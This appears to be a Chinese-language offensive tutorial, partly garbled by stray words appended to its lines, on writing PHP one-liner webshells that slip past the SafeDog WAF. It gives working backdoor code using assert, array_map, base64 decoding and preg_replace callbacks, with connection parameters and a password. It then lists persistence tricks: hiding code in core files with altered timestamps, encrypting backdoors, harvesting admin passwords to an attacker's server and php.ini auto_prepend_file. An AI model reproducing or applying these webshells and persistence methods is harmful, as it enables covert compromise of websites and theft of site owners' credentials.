第二章節主要帶給你們一些後門構造思路,與安全狗文件特徵檢測的機制。php
另外強調一下,這篇文章須要你們對於php有必定的認識。安全
本章節分爲三大部分,第一部分針對初級,分析菜刀php代碼的執行過程,較基礎;第二部分主要總結一些能夠利用的後門姿式,這部分我主要給你們分享一些蒐集的後門,但願能夠拓展你們的思路;第三部分主要分享後門隱藏之道。服務器
聲明:在後門舉例中大部分後門構造與思路,可能網上都有相似的,若有雷同,來打我呀!cookie
目前主流的waf軟件(如安全狗)通常對於後門文件有主動查殺與被動查殺,主動好理解,被動主要就在於你訪問該文件的時候,對該文件就行查殺,好比連接菜刀的時候。app
由於安全狗對後門的查殺其實就是對代碼的一個預編譯,去除註釋等無用代碼,遇到if,直接檢查if內部內容。xss
安全狗獲取其餘各類waf有什麼樣的特徵庫,咱們並不能所有知曉,咱們能作的只有一點點嘗試,WAF永遠在更新,黑闊門永遠在換套路,幾乎沒有一勞永逸的後門。函數
說明:若是想更好的過狗,那麼php是必需要會的,爲了儘可能照顧到不會php的同窗,本文分享一些猥瑣思路彌補一下。post
下面分享的幾個一句話都是能夠直接過狗的,雖然很簡單,但此以前,咱們來遛一遛狗。網站
<?php $_GET[a]($_GET[b]);?>ui
這句話已經能夠執行一切命令了,可是必然被殺,
咱們能夠用extract函數簡單的處理下請求的數據
固然,想要完美過狗,執行更多命令,還須要數據層加工,詳情參考第三章。
不少時候並非給變量多一層加密就安全,其實不少waf對base64_decode至關敏感。
例如:
@array_map(base64_decode($_REQUEST['xx']),(array)base64_decode($_REQUEST['sofia']));
原理分析:xx參數直接傳入一個assert函數,sofia參數傳入assert(eval('執行代碼'))。
直接暴出array_map後門,試試去掉base64?
沒錯,就這麼簡單,最危險的地方就是最安全的地方,起碼文件特徵安全狗確實沒有檢測出來。
然而這個一句話D盾是四級的,由於稍微懂點的人都能看出來是個後門。
可是距離實際意義上的過狗仍是遠遠不夠的,還須要數據層加工,詳情參考第三章。以後你會發現,就這個一句話修改下post數據,能夠完整過狗。
不賣關子:
@array_map(assert,(array)base64_decode($_REQUEST['sofia']));
鏈接方法:test.php?sofia=YXNzZXJ0KCRfUkVRVUVTVFsndnVsbiddKQ== 密碼 :vuln
<? $Base = "base6"."4"."_decod"."e"; $_clasc = $Base($_REQUEST['vuln']); $arr = array($Base($_POST['sofia']) => '|.*|e',); @array_walk($arr, $_clasc, ''); ?> 這是我以前修改過的一個版本,這裏用的其實仍是preg_replace後門,也是經過回調函數來實現執行,一樣能夠過:
詳解: 帶入參數:
vuln=cHJlZ19yZXBsYWNl(preg_replace)
sofia=cGhwaW5mbygp(phpinfo())
<? $Base = "base6"."4"."_decod"."e"; $_clasc = $Base($_REQUEST['vuln']);//$_clasc=preg_replace $arr = array($Base($_POST['sofia']) => '|.*|e',); //$arr = array('phpinfo()' => '|.*|e') @array_walk($arr, $_clasc, ''); //preg_replace('|.*|e',phpinfo(),'') ?>
網上有不少現成的回調函數或者其餘方式來過特徵檢測,再這裏就不重複造輪子了。
權限維持也是滲透中重要的環節,隱藏的不到位次日就掉權限,猥瑣的後門能一生跟隨。
方法一:遠程讀取或者include文件
這個方法比較常見,如:
<?php
if($_POST['token'] == 'sofia'){
require 'home/wwwlogs/access.log';
}
可是就我的而言,我一眼看上就以爲有鬼,哪一個正常程序會鬼畜到包含一個日誌文件或者圖片,固然也要根據場景來定。
方法二:
將代碼放到核心函數文件中,作好文件時間修改,只要查殺不出來,通常站長也不會去動核心文件,也是具備必定隱蔽性的,
方法二:建立類或者函數,分離後門代碼
這樣的話基本上很難查殺了,好比再global_function.php類的文件中建立一個類,或者函數,在所調用這個核心函數的相關文件中實例化一個類,調用函數,那麼也是妥妥執行的。
如:把class放到核心類文件中,在相關的調用文件中放入執行代碼,隱蔽性會增強不少。
<?php
class Parse_Args {
public function apply_filters($key) {
assert($key);
}
}
//執行代碼
@extract($_REQUEST);
$reflectionMethod = new Parse_Args();
$reflectionMethod -> apply_filters($s0fia);
?>
方法四:直接加密代碼
直接將後門文件加密,
其實這就只是eval($_POST[x])加密後的結果,還須要構造什麼?可是在滲透過程當中可用性並非很高,不少時候要寫入後門代碼,這根本無法寫的,只能做爲一種維持手段。
方法五:建立手工後門
php不只能夠獲取get,post數據仍是能夠獲取server數據的,如user-agent,referrer,cookie,client ip,因此咱們徹底能夠在這些參數中加入須要執行的代碼,但須要注意的是有的參很多天志中會記錄,這裏僅提供思路,你們根據實際狀況取發揮。
方法五:間接維持後臺權限,
能夠直接在後臺登錄頁所include的核心函數中加入獲取用戶名密碼的代碼,如直接生成到本地服務器的一個txt中(能夠加密下),記住這個隱蔽的url,時不時就會有密碼記錄,或者遠程post密碼到本身的服務器上。
能夠在後臺頁面中插入一個xss,這種效率相對較低,可是也是一種思路。
方法六:來硬的
這種方法只能針對中小站長,找到一個網站的核心可是又不經常使用的文件,好比lang文件等等,將本身後門加入,而後將整個文件加密,再替換源文件,功能一切正常,站長對這類文件不會起太大疑心。
這個思路也能夠結合方法三。
方法七:php.ini後門
修改php.ini配置來達到每一個頁面都執行某個後門,每一個php都是後門,好比能夠配置auto_prepend_file,自動加載某個文件,這部分後期抽時間再單獨寫出來。